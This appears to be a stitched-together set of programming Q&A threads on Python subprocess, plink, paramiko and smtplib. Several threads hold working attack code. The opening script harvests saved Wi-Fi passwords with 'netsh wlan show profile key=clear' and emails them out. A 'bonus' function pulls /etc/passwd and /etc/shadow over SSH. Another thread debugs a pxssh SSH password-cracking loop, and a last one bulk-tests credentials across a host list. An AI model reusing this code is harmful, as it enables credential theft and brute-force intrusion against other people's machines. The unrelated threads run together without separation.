I'm facing an error called CalledProcessError in Subprocess.Check_output module. Can anyone fix this?
you program is returning a non zero status which means that an error occurred during the processing of the command. You probably want to add some argument to your subprocess.check_output command to fix that.
So i made some changes and i m still trying to get the Email pass Send main working. can you check if it works for you ?
import subprocess, smtplib, re
import sys
def send_mail(email, password, message):
server = smtplib.SMTP("smtp.gmail.com", 587)
server.starttls()
server.login(email, password)
server.sendmail(email, email, message)
server.quit()
command = "netsh wlan show profile"
networks = subprocess.check_output(command, shell=True ,stderr=subprocess.STDOUT)
network_names_list = re.findall("(?:Profile\s*:\s)(.*)", networks.decode("latin-1"))
result = ""
for network_name in network_names_list:
try:
print(network_name)
command = "netsh wlan show profile key=clear" + "".join(network_name)
current_result = str(subprocess.check_output(command, shell=True))
result = result + current_result
send_mail("email", "pass", result)
except subprocess.CalledProcessError as e:
raise RuntimeError("command '{}' returns with error (code {}):{}".format(e.cmd,e.returncode,e.output))
subprocess-check-output-returned-non-zero-exit-status
I am able to give the following command in the command-line
C:\>cd "C:\Program Files\ExtraPuTTY\Bin"
C:\Program Files\ExtraPuTTY\Bin>putty.exe -ssh root#172.20.0.102 22
This helps me open the SSH session through PuTTY.
Whereas I am not able to reproduce them in the Python script.
cwd="C://Program Files//ExtraPuTTY//Bin"
COMMAND="ls"
ssh = Popen(['putty.exe -ssh','%s'%HOST, COMMAND,cwd],shell=True,stdout=f,stderr=f)
The error that I see is
"putty.exe -ssh"' is not recognized as an internal or external command,operable program or batch file
In the putty download page, download and install plink, and make sure its in the windows path ($PATH variable)
Then, this python snippet should work:
import subprocess
cmd='plink -ssh {}#{} -pw {}'.format(user,server,password)
sp = subprocess.Popen(cmd, stdin=subprocess.PIPE, stdout=subprocess.PIPE,stderr=subprocess.PIPE, shell=True)
sp.stdin.write(stdin)
sp.stdin.close()
stdout= sp.stdout.read()
stderr=sp.stderr.read()
sp.wait()
stdin is the commands typed by the user in the terminal, stdout and stderr are the server output.
Fill in your credentials in the user="root", server="172.20.0.102 22" and maybe password for the ssh connection
You have to pass the cwd as the cwd parameter of the Popen:
Popen(['putty.exe -ssh'...], shell=True, stdout=f, stderr=f, cwd=cwd)
And you should use Plink, not PuTTY, for automating the remote command execution. The Plink accepts the command on its command-line (PuTTY does not):
Popen(['plink.exe -ssh root#172.20.0.102 ls'], shell=True, stdout=f, stderr=f, cwd=cwd)
Even better, use a native Python SSH library, like Paramiko:
Python Paramiko - Run command
I know it' a bit beside the question, but that the most closed topic I found (I'd like to found that code a week ago on that post)
I was looking for a code to massively check if a password is active, and change it if possible
Putty have several cli tool like plink and pscp whch are useful for a lot of stuff.
Here is python 3 function to connect to a ssh server and accept ssh key.
using pscp allow a auto accept key... can be useful for first time
def TestSSHConnection(IP_Addr,User,Password,verbosity=0, force_plink=False):
#Some infos about returned code
# 0 = Error Or crash
# 1 = Connection ok
# 2 = No connect Password Error
# 3 = SSH key trouble (shit append)
# 4 = Timeout
# 5 = Host Unreachable
# 6 = Connection Crash
out=""
err=""
try:
if force_plink:
print("echo y | plink -l "+str(User)+" -pw "+str(Password)+" -batch "+str(IP_Addr)+" exit",)
ssh=subprocess.Popen("echo y | plink -l "+str(User)+" -pw "+str(Password)+" -batch "+str(IP_Addr)+" exit",shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE,encoding='utf8')#,stdin=subprocess.PIPE)
else:
print("echo y | pscp -l "+str(User)+" -pw "+str(Password)+" -ls "+str(IP_Addr)+":/",)
ssh=subprocess.Popen("echo y | pscp -l "+str(User)+" -pw "+str(Password)+" -ls "+str(IP_Addr)+":/",shell=True,stdout=subprocess.PIPE, stderr=subprocess.PIPE)
out,err = ssh.communicate()
try:
out = out.decode('utf-8')
except AttributeError as inst:
pass
except Exception as inst:
if verbosity>1:
print("While decoding stdout: "+str(type(inst)))
try:
err = err.decode('utf-8')
except AttributeError as inst:
pass
except Exception as inst:
print("While decoding stderr: "+str(type(inst)))
ssh.kill()
del ssh
except Exception as inst:
print("Crash"+str(inst))
return 0
if len(err)>0:
if 'Unable to open connection' in err or 'Host does not exist' in err:
if verbosity>0: print("Unreachable")
result = 5
if verbosity>1:
print()
print("-"*30)
print(err)
print("-"*30)
elif 'Connection timed out' in err:
result = 4
elif 'The server\'s host key is not cached in the registry' in err:
result = 3
if verbosity>1:
print()
print("SSH key Err".center(30,"-"))
print(err)
print("-"*30)
elif 'Access denied' in err:
result = 2
if verbosity>2:
print()
print("Denied".center(30,"-"))
print(err)
print("-"*30)
else:
result = 6
if verbosity>0: print("ConnCrash")
print("Oups".center(30,"-"))
print(err)
print("-"*30)
else:
if verbosity>0: print("Conn ok")
result = 1
del out,err
return result
Of cource, this juste Check connection (and accept ssh key)
So here is a code to run a script on the host (precisely a password change).
To do so, you can't use one line syntax (even it must work, it won't, i tried) You have to pass through a script file and push it with plink.
def ChangeMyPassword(IP_Addr,User,Old_Password,New_Password,verbosity=0):
#Some infos about returned code
# 0 = Error Or crash
# 1 = Change Ok
# 2 = Old Password Error
# 3 = SSH key trouble (shit append)
# 4 = Timeout
# 5 = Host Unreachable
# 6 = Connection Crash
out=""
err=""
try:
path_script = "."+os.sep+"Script_chmdp_"+str(IP_Addr)+".sh"
if os.path.exists(path_script):os.remove(path_script)
fic_script = codecs.open(path_script,'w', encoding='utf8')
fic_script.write('echo -e \"'+str(Old_Password)+'\\n'+str(New_Password)+'\\n'+str(New_Password)+'\" | passwd')
fic_script.flush()
fic_script.close()
cmd = "plink -l "+str(User)+" -pw "+str(Old_Password)+" -batch "+str(IP_Addr)+ " "
cmd += "-m "+path_script
print(str(cmd))
ssh=subprocess.Popen(cmd,shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE,encoding='utf8')#,stdin=subprocess.PIPE)
out,err = ssh.communicate()
try:
out = out.decode('utf-8')
except AttributeError as inst:
pass
except Exception as inst:
if verbosity>1:
print("While decoding stdout: "+str(type(inst)))
try:
err = err.decode('utf-8')
except AttributeError as inst:
pass
except Exception as inst:
print("While decoding stderr: "+str(type(inst)))
ssh.kill()
del ssh
except Exception as inst:
print("Crash"+str(inst))
return 0
if 'all authentication tokens updated successfully' in out:
if verbosity>0: print("Conn ok")
result = 1
else:
if verbosity>0: print("Something goes wrong, hope we do not crash your server :)")
result = 0
del out,err
return result
So now you have two function to massively change password on your systems.
Bonus: a function to get /etc/passwd and /etc/shadow. Why? for educationnal use on your IT admin like 'hey you f*** up and use the same password everywhere, and now all this account can be Bruteforced. So clean up your mess
def GetPass(IP_Addr,User,Password,verbosity=0, force_plink=False):
#Some infos about returned code
# 0 = Error Or crash
# 1 = Connection ok
# 2 = No connect Password Error
# 3 = SSH key trouble (shit append)
# 4 = Timeout
# 5 = Host Unreachable
# 6 = Connection Crash
out=""
err=""
try:
ssh=subprocess.Popen("echo "+str(Password)+" | plink -l "+str(User)+" -pw "+str(Password)+" -batch "+str(IP_Addr)+" sudo cat /etc/passwd;sudo cat /etc/shadow",shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE,encoding='utf8')#,stdin=subprocess.PIPE)
out,err = ssh.communicate()
try:
out = out.decode('utf-8')
except AttributeError as inst:
pass
except Exception as inst:
if verbosity>1:
print("While decoding stdout: "+str(type(inst)))
try:
err = err.decode('utf-8')
except AttributeError as inst:
pass
except Exception as inst:
print("While decoding stderr: "+str(type(inst)))
ssh.kill()
del ssh
except Exception as inst:
print("Crash"+str(inst))
return 0
if len(err)>0:
if 'Unable to open connection' in err or 'Host does not exist' in err:
if verbosity>0: print("Unreachable")
result = 5
if verbosity>1:
print()
print("-"*30)
print(err)
print("-"*30)
elif 'Connection timed out' in err:
result = 4
elif 'The server\'s host key is not cached in the registry' in err:
result = 3
if verbosity>1:
print()
print("SSH key Err".center(30,"-"))
print(err)
print("-"*30)
elif 'Access denied' in err:
result = 2
if verbosity>2:
print()
print("Denied".center(30,"-"))
print(err)
print("-"*30)
else:
result = 6
if verbosity>0: print("ConnCrash")
print("Oups".center(30,"-"))
print(err)
print("-"*30)
else:
if verbosity>0: print("Conn ok")
result = out
del out,err
return result
Some more notes:
if you don't use shell=True, you don't get the output, and it does not work, I don't know why.
I also tried a asynchronous communication to send comand line by line, it does not work.
I also tried the ssh command (yes it now exist on windows \o/) but it does not work for my purpose.
Hope this help someone one day, it would have helped me a lot a week ago :)
Here is a snippet from my code. For some reason it simply won't print out the second line saying "Cracking took 10 seconds" or whatever, but this first bit saying Password Found: does work... Why?
def connect(host, user, password, release):
global Found
global Fails
global startTime
try:
s = pxssh.pxssh()
s.login(host, user, password)
print '[+] Password Found: ' + password
print 'Cracking the password took' + datetime.now()-startTime + 'seconds.'
Found = True
except Exception, e:
if 'read_nonblocking' in str(e):
Fails += 1
time.sleep(5)
connect(host, user, password, False)
elif 'synchronize with original prompt' in str(e):
time.sleep(1)
connect(host, user, password, False)
You are trying to concatenate two different things (datetime and str), try converting the datetime to str as:
def connect(host, user, password, release):
global Found
global Fails
global startTime
try:
s = pxssh.pxssh()
s.login(host, user, password)
print '[+] Password Found: ' + password
print 'Cracking the password took' + str(datetime.now()-startTime) + 'seconds.'
Found = True
except Exception, e:
if 'read_nonblocking' in str(e):
Fails += 1
time.sleep(5)
connect(host, user, password, False)
elif 'synchronize with original prompt' in str(e):
time.sleep(1)
connect(host, user, password, False)
Moreover, you shouldn't trap all kind Exception, just those you need.
The issue is probably that you haven't set startTime, but you masked it by over-broad exception handling. Either remove the try/except, select some other exception to trap, or simply include a bare raise command in your exception handler and you should see a NameError because of the absence of initialization. Fix that and your code has more of a chance.
I am using paramiko to login to a set of servers and just check if my credentials work.I do not need to run any further commands.I know the exceptions raised for authentication failure and connection error.However,I am not sure of what is returned on a successful login..This is what I have so far :
f1 = open('hostfile','r')
devices = f1.readlines()
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
for device in devices:
try:
ssh.connect(device, username=username, password=password, timeout=4)
<IF CONDITION MET THEN>
output= "Successfully Authenticated"
ssh.close()
except paramiko.AuthenticationException:
output = "Authentication Failed"
print output
except socket.error, e:
output = "Connection Error"
print output
What do I substitute the "IF CONDITION MET THEN" with ?
You dont need a IF CONDITION. Because if authentication fails, script will anyway raise exception and will not execute rest of the statements
So you should just put the statements after ssh.connect, as they will only be executed if the connection is successful.
If you still want to put IF CONDITION what you can do is
conn = ssh.connect(device, username=username, password=password, timeout=4)
if conn is None:
print "Successfully Authenticated"
I have the following code that is part of my email class that I use in my programs. Currently I am running the quit function whether or not a connection to the SMTP server was made in the connect function. I know I could put the quit function inside of the try statement after the email is sent, but I would like to figure out how to write the code to say the equivalent of "if a connection to the server is open, close it." What is the best way to write that in Python?
Thanks!
def connect(self, headers, msg):
try:
self.server.starttls()
try:
self.server.login(self.usrname,self.pswd)
try:
self.server.sendmail(self.sendfrom, self.sendto, headers + "\r\n\r\n" + msg)
except Exception as sendmailfail:
print(sendmailfail)
except Exception as emailfail:
print (emailfail)
except Exception as error:
print(error)
def quit(self):
self.server.quit()
print("The SMTP connection is closed")
first = GmailSmpt('x','y','z','zz')
x , y = first.message()
first.connect(x,y)
first.quit()
You need to finish the "Errors and Exceptions" section of the tutorial.
try:
possibly_fail()
except ...:
handle_exception()
else:
no_exceptions()
finally:
always_run_this()